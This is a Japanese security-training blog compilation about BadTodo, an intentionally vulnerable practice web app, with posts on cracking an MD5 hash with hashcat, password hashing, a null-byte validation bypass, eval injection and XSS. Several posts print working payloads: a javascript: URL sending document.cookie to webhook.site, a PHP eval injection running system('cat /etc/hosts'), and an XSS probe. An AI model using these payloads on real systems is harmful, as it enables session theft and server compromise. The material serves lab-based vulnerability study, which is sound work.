やられアプリ(やられサイト)BadTodo 脆弱性のまとめ

脆弱性診断実習用アプリ BadTodo 関連投稿へのリンク一覧です。
BadTodo - 1 準備
BadTodo - 2 ZAPでのスキャン
BadTodo - 3.1 SQLインジェクション 認証の回避
BadTodo - 3.2 SQLインジェクション 非公開情報の漏洩
BadTodo - 3.3 SQLインジェクション DB情報の取得
BadTodo - 3.4 SQLインジェクション ID/パスワードの取得
BadTodo - 3.5 SQLインジェクション 情報の改ざん・追加・削除
BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得
BadTodo - 3.7 SQLインジェクション idパラメータに対して
BadTodo - 3.8 SQLインジェクション sqlmapを使う
BadTodo - 3.9 SQLインジェクション 対策方法
BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習
BadTodo - 4.1 XSS(クロスサイト・スクリプティング)
BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
BadTodo - 4.2 XSS ログイン画面で
BadTodo - 4.3 XSS ID毎のTodo一覧画面
BadTodo - 4.4 XSS Todoの削除画面
BadTodo - 4.5 XSS マイページ
BadTodo - 4.6 XSS パスワード変更ページ
BadTodo - 4.7 XSS Todo詳細ページ
BadTodo - 4.8 XSS 対策方法(エスケープ処理)
BadTodo - 4.9 DOM Based XSS
BadTodo - 4.10 XSS URL属性値に対して
BadTodo - 5 オープンリダイレクト
BadTodo - 6 ディレクトリトラバーサル
BadTodo - 7 リモート・ファイルインクルード(RFI)
BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
BadTodo - 8.2 OS コマンド・インジェクション(内部でシェルを呼び出す関数)
BadTodo - 9 Server Side Code Injection - PHP Code Injection
BadTodo - 10.1 CSRF(クロスサイト・リクエスト・フォージェリ)
BadTodo - 10.5 CSRF(対策)
BadTodo - 10.6 CSRF対策トークンの不備
BadTodo - 10.7 XSSによるCSRF対策の突破
BadTodo - 11 HTTP ヘッダ・インジェクション
BadTodo - 12 メールヘッダ・インジェクション
BadTodo - 13 クリックジャッキング
BadTodo - 14 セッション管理の不備
BadTodo - 15 アクセス制御や認可制御の欠落
BadTodo - 16 バッファオーバーフロー
BadTodo - 17.1 認証(パスワードの強度・ログアウト)
BadTodo - 17.2 補足 保存するパスワードのハッシュ化
BadTodo - 17.3 パスワードハッシュ化の目的
BadTodo - 17.4 ハッシュの解析(hash cat を使う)
BadTodo - 18 クローラへの耐性
BadTodo - 19 ディレクトリ・リスティング
BadTodo - 20 A4:2017 - XML外部エンティティ参照 (XXE)
BadTodo - 21 A10:2021 - サーバーサイドリクエストフォージェリ(SSRF)
BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
BadTodo - 23 evalインジェクション
BadTodo - 24 適切でないアップロートファイル制限
BadTodo - 25.1 NULLバイト攻撃(+ファイルインクルード)
BadTodo - 25.2 NULLバイト攻撃(+SQLインジェクション)
BadTodo - 25.3 NULLバイト攻撃(+XSS)
BadTodo - 25.4 NULLバイト攻撃(POSTリクエストの場合)
BadTodo - 26 TOCTOU競合
BadTodo - 27 レースコンディション
BadTodo - 28 キャッシュからの情報漏洩

BadTodoは以下の脆弱性を網羅しています

IPA 安全なウェブサイトの作り方 第7版より
1.1 SQLインジェクション
1.2 OSコマンド・インジェクション
1.3 パス名パラメータの未チェック/ディレクトリ・トラバーサル
1.4 セッション管理の不備
1.5 クロスサイト・スクリプティング
1.6 CSRF(クロスサイト・リクエスト・フォージェリ)
1.7 HTTPヘッダ・インジェクション
1.8 メールヘッダ・インジェクション
1.9 クリックジャッキング
1.10 バッファオーバーフロー
1.11 アクセス制御や認可制御の欠落

ウェブ健康診断仕様より
(安全なウェブサイトの作り方との重複点をグレーアウト)
1 (A) SQL インジェクション
2 (B) クロスサイト・スクリプティング
3 (C) CSRF(クロスサイト・リクエスト・フォージェリ)
4 (D) OS コマンド・インジェクション
5 (E) ディレクトリ・リスティング
6 (F) メールヘッダ・インジェクション
7 (G) パス名パラメータの未チェック/ディレクトリ・トラバーサル
8 (H) 意図しないリダイレクト(オープンリダイレクト)
9 (I) HTTP ヘッダ・インジェクション
10 (J) 認証
11 (K) セッション管理の不備
12 (L) 認可制御の不備、欠落
13 (M) クローラへの耐性

OWASP Top 10 2017(重複をグレーアウト)
A1:2017 - インジェクション(A03:2021- インジェクション)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A2:2017 - 認証の不備(A07:2021-識別と認証の失敗)
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A3:2017 - 機微な情報の露出
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
A4:2017 - XML 外部エンティティ参照(XXE) (A05:2021-セキュリティの設定ミス)
 BadTodo - 20 XML外部エンティティ参照 (XXE)
A5:2017 - アクセス制御の不備(A01:2021-アクセス制御の不備)
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A6:2017 - 不適切なセキュリティ設定(A05:2021-セキュリティの設定ミス)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
A7:2017 - クロスサイトスクリプティング (XSS)
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
A8:2017 - 安全でないデシリアライゼーション(A08:2021-ソフトウェアとデータの整合性の不具合)
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A9:2017 - 既知の脆弱性のあるコンポーネントの使用(A06:2021-脆弱で古くなったコンポーネント)
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A10:2017 - 不十分なロギングとモニタリング(A09:2021-セキュリティログとモニタリングの失敗)
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。[https://github.com/ockeghem/badtodo/blob/main/docs/vulnerabilities.md:title])

OWASP Top 10 2021
A01:2021-アクセス制御の不備
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A02:2021-暗号化の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 (SSL(TLS)の設定)
 (HSTS)
 (パスワードの平文保存)
A03:2021-インジェクション
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A04:2021-安全が確認されない不安な設計
 BadTodo - 18 クローラへの耐性
(CWE-256 パスワードなどのアカウント情報が平文のまま格納されている問題)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(CWE-434 適切でないアップロートファイル制限)
 BadTodo - 23 適切でないアップロートファイル制限 CWE-434
(CWE-598 GETリクエストのクエリ文字列からの情報漏洩)
 BadTodo - 14 セッション管理の不備
A05:2021-セキュリティの設定ミス
 A4:2017 - XML 外部エンティティ参照 (XXE)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
(クッキーへの機密情報の保存)
 BadTodo - 15 アクセス制御や認可制御の欠落
(クッキーのセキュア属性不備)
 BadTodo - 14 セッション管理の不備
(HttpOnly属性不備)
 BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
(セキュリティヘッダの不備)
A06:2021-脆弱で古くなったコンポーネント
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A07:2021-識別と認証の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A08:2021-ソフトウェアとデータの整合性の不具合
 安全でないデシリアライゼーション
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A09:2021-セキュリティログとモニタリングの失敗
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。[https://github.com/ockeghem/badtodo/blob/main/docs/vulnerabilities.md:title])
 (ログからの情報漏洩)
A10:2021-サーバーサイドリクエストフォージェリ(SSRF)
 BadTodo - 21 サーバーサイドリクエストフォージェリ(SSRF)

BadTodo は
安全なWebアプリケーションの作り方 第2版
にも対応しています。各脆弱性への対応策もまだ記述できていませんので作成を続けていきます。

[https://www.sbcr.jp/product/4797393163/:embed:cite]

やられアプリ BadTodo - 17.4 ハッシュの解析(hashcat を使う)

前回:やられアプリ BadTodo - 17.3 パスワードハッシュ化の目的 - demandosigno

パスワード解析ソフトの John the Ripper でもハッシュの解析はできるのですが、今回は hashcat を使います。
その名の通りハッシュの解析ができます。強力なグラフィックボードはハッシュの解析も速いため、ベンチマークソフトとしても使われています。
hashcat - advanced password recovery

hashcatは様々なハッシュの種類やソルト付きハッシュに対応していますが、私のPCのグラフィックボードは古くて性能が低いため以下の内容で試します。
・ハッシュ関数はMD5(ソルト無し)
・ハッシュの元とするパスワードは、8文字の英大文字・小文字・数字
・hashcat-5.1.0(昨年試した際の記録かつ私のグラボに対応可能なバージョンのため古いです)
・NVIDIA GeForce GTX 1070(+CUDAのインストールが必要です)
・Windows 10

開始

hashcat64.exe -m 0 -a 3 hash.txt -1 ?l?u?d ?1?1?1?1?1?1?1?1?1?1 --increment --increment-min=8(パラメータを色々付けて試してみたため少し冗長かも)

[s]tatus 「キーボードの s」を押して途中経過を確認します。(新しいバージョンでは最初から経過が表示されているかもしれません)

コマンド詳細

https://hashcat.net/wiki/doku.php?id=mask_attack
hashcat64.exe -m 0 -a 3 hash.txt -1 ?l?u?d ?1?1?1?1?1?1?1?1?1?1 --increment --increment-min=8
-m : ハッシュの種類。0 = MD5ハッシュを指定(その他のハッシュ
- a : アタックモード。3 = ブルートフォースアタック。総当たり(すべての大文字、小文字、数字を含む文字セットを使用する)かつマスクを指定できる
-1 : カスタム文字列として1つ設定
?l?u?d : プレースホルダを使ってパスワード候補を構成する
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?1?1?1?1?1?1?1?1?1?1 : 先に設定したカスタム文字列1を使用して10文字を解析
--increment : インクリメントフラグ。マスクはパスワードの長さに固有、このままだと10文字分だけ解析してしまうため、?1 → ?1?1 → ?1?1?1... と一つずつ増やしていくために必要なフラグ
--increment-min : 8 = 8文字からスタートします。「パスワード要件として最小8文字」と規定されている場合などは7文字以下の解析は不要です
hash.txt : 解析するハッシュ値を記録したテキストファイル(今回は 5f4dcc3b5aa765d61d8327deb882cf99 の一つだけ記載)

結果

Status : Cracked となっており、見つかったパスワードがあります
Time.Started : (9 hours, 53 mins) 8文字を解析するのにかかった時間です
Guess.Queus : 1/3。8文字, 9文字, 10文字の内、8文字分の解析が終了したということです
Speed.#1 : 6154.1 MH/s。約6.1Gハッシュ/秒の速度が出ています
Progress : 218340105584896/218340105584896 (100.00%)
英大文字・小文字・数字の8桁 = (26+26+10)8 = 218,340,105,584,896 (218兆) 通りです。
これは 218テラ、218,340ギガであり、速度の6.1ギガで割ると35,793秒 ≒ 9.9時間、先の記載に合致します。
5f4dcc3b5aa765d61d8327deb882cf99:password : 今回見つかった結果です。総当たりの結果、ハッシュの元の文字列は「password」であったことが分かります。(この例であれば総当たりよりは「辞書攻撃」の方がずっと早く終わります。hashcat での辞書攻撃は “straight”モードと名づけられており、アタックモード = 0 (-a 0)で実行できます。
今回は元のリストのパスワードを1つしか記載しませんでしたが、総当たりですのでこの時点ですべての8文字のパスの解析が終わっています。

[s]tatus =「s」キーを押して途中経過を見ています。
引き続き 9文字目の解析に入っています。(Guess.Mask : ?1?1?1?1?1?1?1?1?1 [9])
しかしながら、9文字目を終了するには 13537086546263552 (0.44%) と出ている通り (26+26+10)9=13,537,086,546,263,552(1京3537兆)のパターンを総当たりする必要があります。 これには8桁目の62倍の560時間≒26日の計算が必要になるため、[q]uit 「qキーを押して途中終了」しました。(そもそも今回の例では8文字パス1つだけしか登録していません)
この結果からパスワードの文字数を増やすことが有効であると分かります。

解析途中でタスクマネージャを見てみます。

今回NVIDIA社のグラフィックボードとCUDAを使いました。実際にCUDAがバリバリ働いていることが分かります(CUDAが表示されていない場合には、いずれかのグラフの ∨ をクリックしてドロップダウンから選択できます)。また温度が上がりますので夏場は注意です。
CUDA(Compute Unified Device Architecture:クーダ)とは、NVIDIAが開発・提供している、GPU向けの汎用並列計算用プラットフォームです。もともとリアルタイムグラフィックス表示用途、特にゲームグラフィックス用途に特化したGPUを開発していたNVIDIAが、その高い処理性能をグラフィックス以外にも活用できるようにするために開発した技術がCUDAです。CUDA - Wikipedia
今回のように、1つのハッシュ変換はたやすいが大量にこなすような仕事には並列計算が有用です。

私のグラボ(GeForce GTX 1070 2016年発売 6.1GH/s)だと8文字(218,340G)に約10時間かかりましたが、最新のグラボ(RTX 4090)では 164.1GH/s の速度が出ており 218,340/164.1=1,331s=22分となります。
Hashcat v6.2.6 benchmark on the Nvidia RTX 4090 · GitHub

前回紹介した記事に一覧表が載っていますが、こちらもhashcatを使っておりRTX 4090は同じく22分と出ています。英字数字に加えて記号(^*%$!&@#)を混ぜた場合でも59分。
1万基のNVIDIA A100とChatGPTによる解読も試しており、その場合これを1秒で解いています。ただ費用面から実用的ではありません。「消費者がアクセスしやすい構成としては RTX 4090 × 12 くらいがベストだと思う」だそうです。
Are Your Passwords in the Green?
恐るべし、今どきの「パスワード破り」の手口:780th Lap - キーマンズネット

現実的なA100を12基採用したシステムでbcryptハッシュ化された同8文字のパスワードを解読した場合は、約12年かかる。もちろんその間の演算性能向上を考慮する必要はあるが、パスワードを変更すれば安全性は高まるとしている。
複雑な8文字のパスワードでも、MD5ハッシュだとGeForce RTX 4090で1時間以内に解読されてしまう - PC Watch

これらの実施はクラウドを使うにしてもローカルに置いたデータの解析です。パスワードのハッシュ値が漏洩しているということは、攻撃者は既にサイトに侵入済みということになります。
ネットのホームページのログインフォームに対してブルートフォースアタックをかける場合はこんな高速にはできません(アカウントロックもあります)。手元にあるハッシュの解析とWebのログイン試行ではそもそもが別の話になりますので混同しないようにしてください。

その他

今時ソルト無しMD5で保存されていることはないだろうと思われるかもしれませんが、昨年(2023年に)話題になった事件ではパスワードがソルト無しMD5で保存されていたため、流出後に一部が解析され平文パスワードの形でハッキングフォーラムに投稿されてしまいました。
https://doc.pictbland.net/
また『各種情報はデータベース上で暗号化されておりましたが、暗号の複合キーも同時に漏洩しており既に複合されていると考えられます』とのことです。

情報漏えいについてのご報告 | Notion
不正アクセスによるpictBLand、pictSQUAREの情報流出の可能性についてまとめてみた - piyolog
SNS「ピクブラ」ユーザー情報80万件流出、復号キーも 「全サーバとプログラム廃棄して再構築」へ - ITmedia NEWS

次回:やられアプリ BadTodo - 18 クローラへの耐性 - demandosigno

やられアプリ BadTodo - 17.3 パスワードハッシュ化の目的

前回:やられアプリ BadTodo - 17.2 補足 保存するパスワードのハッシュ化 - demandosigno

今回の内容は記事の最後にリンクを貼った徳丸さんの解説動画の内容などから自分なりにまとめたものです。(細かい点はわざと省いています。徳丸さんの動画はとても分かりやすいですのでぜひ全編視聴してみてください)
これらを踏まえた上で、次回のハッシュ値の解析に進みます。

データベースに保存されるデータは盗まれた際の保険として暗号化されます。

データベース暗号化の目的

  • 重要情報を保護したい
  • 情報が漏洩しても悪用されないようにデータを暗号化する

つまり情報漏洩に対する緩和策です。
(暗号化 AES:共通鍵, RSA:公開鍵。AES-256:Amazon RDS, S3, IAM など)

一方、前回 password_hash 関数を使ったように、パスワードハッシュ値で保存されることが多いです。(ハッシュ関数 MD5, SHA-1, Bcrypt など)

どうしてパスワードの保護は「暗号化」ではなく「ハッシュ」なのか

  • 暗号だということは復号できる
  • 復号には鍵が必要だが、その鍵の管理が難しい(サーバーに侵入されているような状況では鍵も盗まれる⇒一例
  • データをアプリケーションで使う場合にも鍵を使わなければ暗号化・複合ができないが、攻撃者には鍵を見せたくない(侵入した攻撃者はアプリケーションと同じ権限を持つため区別が難しい)
  • パスワードをサイト管理者にも知られたくない(管理者は鍵を使って平文に戻せる)
  • ハッシュだと鍵を使わないので鍵管理のわずらわしさがない

ハッシュで保存されたパスワードは本当に安全か

ハッシュの特徴:一般的に(暗号学的)ハッシュ値から平文を「復元する」ことはできない。
「password」のMD5ハッシュ:5f4dcc3b5aa765d61d8327deb882cf99

  • 任意の長さの入力を固定長の出力に変換する
  • 不可逆性(原像計算困難性)
  • 衝突困難性:同じハッシュ値となる二つの異なる元データを見つけにくい(同じハッシュ値となる元データが発見されると、ハッシュ値を用いても元のデータが改ざんされたものなのか判断できなくなる)

しかし、パスワードの場合は特別な事情がある。

  • 4桁数字の暗証番号をハッシュ値で保存⇒計1万通りしかないので総当たりで確認すればOK(8桁でも同じ。1千万通り)
  • 単純なハッシュ計算だと同じパスワード=同じハッシュ値となる。一つ解読されると複数バレる

これに対応するために、ソルト(Salt)の付加やストレッチング(Stretching)が行われる。
ソルト:ハッシュの元データ(パスワード)に追加する文字列。ユーザ毎にソルトを変えることで、パスワードが同じでも異なるハッシュ値が得られる。
ストレッチング:ハッシュの計算を繰り返すこと。1万回ストレッチすると「モンスターマシンで20分」が20万分(139日)になる計算。

ペッパー:パスワードに「固定の秘密文字=ペッパー」を追加してからハッシュを求める
パスワード漏洩=ハッシュ値とソルトも漏洩。ソルトとストレッチングは「弱いパスワード」までは保護できない(単純な文字列は辞書攻撃で破られる)

パスワード$ペッパー$ソルト
ソルトはハッシュ値とともにDBに保存。ペッパー(シークレットソルトとも。固定)はDB以外の場所に保存する。これが漏洩しなければ……

MD5, SHA1の弱さ

幾つかのハッシュ関数は「衝突困難性」が破られている。
How to Break MD5 and Other Hash Functions(MD5 の衝突を効率的に発見する方法)
Finding Collisions in the Full SHA-1(同様に SHA-1 の衝突について)
比較的短い文字列で衝突させた例。72字。(解析ツールのHashClashを使用)

そのため、電子政府における調達のための「推奨候補暗号リスト」からも外れている。 https://www.cryptrec.go.jp/list/cryptrec-ls-0001-2022.pdf

総当たり

グラフィックボードが性能アップし、総当たりで解析する時間が短縮された。

パスワード(8文字・英大文字・小文字・数字)をSHA-1を総当たりで解析するとすると ⇒ (26+26+10)8=約220兆通り
1文字目 a の SHA1 = 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8
b = e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 引き続き...c......z まで
2文字目 aa...ab...az...ba...bb...bz...
と順番にすべて見ていき、元の文字列を知りたいハッシュ値と突き合わせて確認する。

同様に、パスワード(8文字・英大文字・小文字・数字)のMD5ハッシュ化 を解析する場合、
RTX 4090を使うと220兆通りが22分で解析される。
Are Your Passwords in the Green?

次回:やられアプリ BadTodo - 17.3 ハッシュの解析(hash cat を使う) - demandosigno
実際にハッシュの総当たり解析をします。

参考にした資料

www.youtube.com

www.youtube.com

www.youtube.com

xtech.nikkei.com

pc.watch.impress.co.jp

その他の資料

MD5は簡単に衝突させられる - Buri Memo:
MD5の安全性の限界に関する調査研究報告書(pdf)

後日試します
qiita.com

やられアプリ BadTodo - 25.4 NULLバイト攻撃(POSTリクエストの場合)

前回:やられアプリ BadTodo - 24.3 NULLバイト攻撃(+XSS) - demandosigno

前回までに挙げたNULLバイト攻撃の3つの例はどれもGETリクエストに対するものでした。
続けて、POSTリクエストに対して試してみようとした際に疑問点が残ったためメモしておきます。

eregi() で試します(正規表現によるマッチングを行う関数)

まず GET の場合

eregi_get.php

<?php
$id = $_GET['id'];
var_dump($id);
var_dump(eregi("^[a-z]{4}$", $id)); // a-zの4文字であるか否か。マッチしたら「1」を返す

これに対し
GET /eregi_get.php?id=hoge は
結果:string(4) "hoge" int(1) となります。

一方、
GET /eregi_get.php?id=hogex とすると5文字ですのでFalseです。
結果:string(5) "hogex" bool(false)

GET と NULLバイト(%00)の場合

GET /eregi_get.php?id=hoge%00x
結果:string(6) "hogex" int(1)
var_dumpで NULLバイトは表面上見えないものの1文字分カウントはされており計6文字となっていますが、eregi("^[a-z]{4}$", $id) の結果は「1」が返されています。NULLバイト以降が無視されており想定通りの動きです。

続けて、POSTフォームの場合。

eregi_post.html

<html>
<form action="eregi_get3.php" method="post" enctype="multipart/form-data">
    <input type="text" name="id1" value="hoge" size="30">
    <input type="text" name="id2" value="hoge\0x" size="30">
    <input type="text" name="id3" value="hoge\x00x" size="30">
    <input type="text" name="id4" value="hoge%00x" size="30">
    <input type="text" name="id5" value="hoge&#x5c0x" size="30">
    <input type="text" name="id6" value="hoge&#x0x" size="30">
    <input type="submit" value="送信">
</form>
</html>

リクエストを受ける側 ereg_get3.php

<?php
var_dump("hoge\0x"); // 確認用
var_dump(eregi("^[a-zA-Z0-9_]{4}$", "hoge\0x")); // 確認用
var_dump(eregi("^[a-zA-Z0-9_]{4}$", "hoge\x00x")); // 確認用
var_dump(eregi("^[a-zA-Z0-9_]{4}$", "hoge%00x")); // 確認用
echo ("<br>");
var_dump($_POST['id1']);
$post1 = $_POST['id1'];
var_dump(eregi("^[a-z]{4}$", $post1));
echo ("<br>");
var_dump($_POST['id2']);
var_dump(eregi("^[a-z]{4}$", $_POST['id2']));
echo ("<br>");
var_dump($_POST['id3']);
var_dump(eregi("^[a-z]{4}$", $_POST['id3']));
echo ("<br>");
var_dump($_POST['id4']);
var_dump(eregi("^[a-z]{4}$", $_POST['id4']));
echo ("<br>");
var_dump($_POST['id5']);
var_dump(eregi("^[a-z]{4}$", $_POST['id5']));
echo ("<br>");
var_dump($_POST['id6']);
var_dump(eregi("^[a-z]{4}$", $_POST['id6']));

結果
NULLバイトを差し込んでみた場所はすべて False で希望通りには働きませんでした。

一時しのぎ

結局、直打ちで(またはGETのパターンから)取得した「レスポンス内のNULLバイトをリクエストにコピペ」する形で動作させることはできました。もっと良い方法があるとは思うのですが。

先ほどのレスポンスの該当部分にカーソルを置き左右に動かしてみてください。そこに何かあることが分かります。
このリクエスト・レスポンスの色を変えておくか、リピーターに送るなどして覚えておきます。

BadTodoの場合

Todo List 詳細画面のURL登録部分で、バリデーションチェックを回避できます。

editdone.php の該当部分を抜粋します。eregi が使われています。

<?php
if (!empty($url) && !eregi("^[a-z]+:[-a-z0-9:/?=#!&%+~;.,*@()'[-_]*$", $url)) {
  $errmsg[] = 'URLが不正です';
}

正規表現部分は「先頭に何かアルファベットがあって、コロンがあって、またアルファベットや記号が続く」となっており、最小限だとa:aなどで登録できます。
また記号の"やバッククォート`<> {}などはマッチしないため「URLが不正です」となり登録できません。

ここでNULLバイトが使えます。
入力例をa:a"`<>{}として、送信する際にBurpでインターセプトします。

そして、先ほど残しておいたレスポンスのstring(6) "hogex"部分の e と x の間からNULLバイトを選択してコピーします。 POSTリクエストに戻りリクエストボディパラメータa:a"`<>{}"の前にNULLバイトをペーストします。そしてインターセプト解除。

変更がエラーなく通ります。(「正規の画面からアクセスしてください」となった場合は再度間を開けずやり直してみてください)
Todo詳細に戻ると登録できていることが分かります。

編集画面で見てみるとNULLバイトは「?」となっています。

これを使って何か悪さができそうです。が、単純な<script>タグや"は元々エスケープ処理されています。

幾つか試す

以前 BadTodo - 4.10 XSS URL属性値に対して で試したように、URL欄で javascriptスキームが使えます。
そして https://webhook.site/ というサイトを使うと、一意のランダムな URL と電子メール アドレスを簡易に取得できます。
よってjavascript:fetch('https://webhook.site/a00 ~(中略)~ 758'+document.cookie)のようにURL欄に登録することでCookieを収集できます。

URLをクリックした後で webhook.site を確認すると

POSTの場合(これはURL欄からではなく別途送信した一例)

単に収集するだけでなく色々な機能があって、一部のハッカーも使っているらしく便利なサイトです。

そして今回`{ }が使えるようになったのなら、テンプレート文字列やfetchのPOSTも使えるのではないかと試してみました。しかし、双方とも間のNULLバイトがシンタックスエラーとなり失敗しました。
javascript:fetch(`https://webhook.site/a009 ~(中略)~ 758?${document.cookie}`)

javascript:fetch('https://webhook.site/a009 ~(中略)~ 758',{method:'POST',body:document.cookie})

その他の方法を探してみます。

次回:やられアプリ BadTodo - 25 TOCTOU競合 - demandosigno

やられアプリ BadTodo - 23 evalインジェクション

前回:やられアプリ BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション - demandosigno

幾つかのプログラミング言語は eval(イーバル)という機能や関数を持っています。
eval には複数のコードを解釈し実行する機能がありますが、evalの利用法に問題がある場合、外部から送り込んだスクリプトを実行される危険があります。
(PHPの場合『注意: これは、関数ではなく 言語構造のため、可変関数や名前付き引数を用いてコールすることはできません』とのことです。) PHP: eval - Manual

まずBadTodoでの例を示します。

一覧ページからエクスポートボタンをクリックすることでTodoをエクスポートすることができます。

その時に次のリクエストが流れます。
GET https://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29

BurpのDecoderで「URLデコード」をかけるとデータベースクエリに関する配列であることがわかります。この配列そのものに問題はありません。

次に; phpinfo()という文字列を「URLエンコード」したもの%3b%20%70%68%70%69%6e%66%6f%28%29を先ほどのGETリクエストの後ろにくっつけます。
そうするとhttps://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29%3b%20%70%68%70%69%6e%66%6f%28%29となります。 このアドレスをブラウザで見てみると phpinfo が閲覧できてしまいます。(ログインは不要です)

PHPのコード phpinfo() が実行できたわけです。そのため; system("cat /etc/hosts")のようにしてOSコマンドの実行も可能になります。(PHP 開始タグを含めてはいけません) %3b%20%73%79%73%74%65%6d%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29をくっつけてhttps://todo.example.jp/exportdo.php?query=array%20%28%0A%20%20%27sql%27%20%3D%3E%20%27todos.id%20IN%20%28%3Aid_0%29%27%2C%0A%20%20%27keys%27%20%3D%3E%20%0A%20%20array%20%28%0A%20%20%20%20%27%3Aid_0%27%20%3D%3E%20%272%27%2C%0A%20%20%29%2C%0A%29%3b%20%73%79%73%74%65%6d%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29

入力値に問題があるため他のエラーも吐いています。

evalインジェクションはソースコードが確認できないと見つけるのが難しい脆弱性ですが、今回の場合はパラメータに誤った文字列を入れればエラー文内に eval() と出ますのでヒントになりそうです。

徳丸本 第2版 p343では evalインジェクションの例としてBase64エンコードのパターンが掲載されています。詳細な説明とシンプルな例で分かりやすいので一読を。

最近でも「日本医師会のサイトにて、eval()を使っていたため JavaScriptのコードが実行できた」という例がありました。
togetter.com

その他の影響例として、
・サイト改ざん
・他サイトへの踏み台
などがあります。

対策

・eval に相当する機能を使わない
今回の例であれば
・implod/explode
・json_encode/json_decode
などで、eval相当の機能を使わなくても同等の処理が実装可能です。

色々記述が不足しているので後日追記予定。

次回:やられアプリ BadTodo - 24 適切でないアップロートファイル制限 - demandosigno

やられアプリ BadTodo - 4.7 XSS Todo詳細ページ

前回:やられアプリ BadTodo - 4.6 XSS パスワード変更ページ - demandosigno

Todoの題名をクリックすると開くTodoの詳細画面のリクエスト
https://todo.example.jp/todo.php?rnd=6639eec0ed1b2&item=2の item パラメータにXSSがあります。

itemに'><script>alert(1)</script>を付加。
https://todo.example.jp/todo.php?rnd=6639eec0ed1b2&item=2%27%3E%3Cscript%3Ealert(1)%3C/script%3E

レスポンス内、「添付ファイル」の「削除ボタンフォーム」位置に出力されます。

そのため添付ファイルの無いTodoでは機能しません。

次回:やられアプリ BadTodo - 4.7 XSS 対策方法(エスケープ処理) - demandosigno

/* -----codeの行番号----- */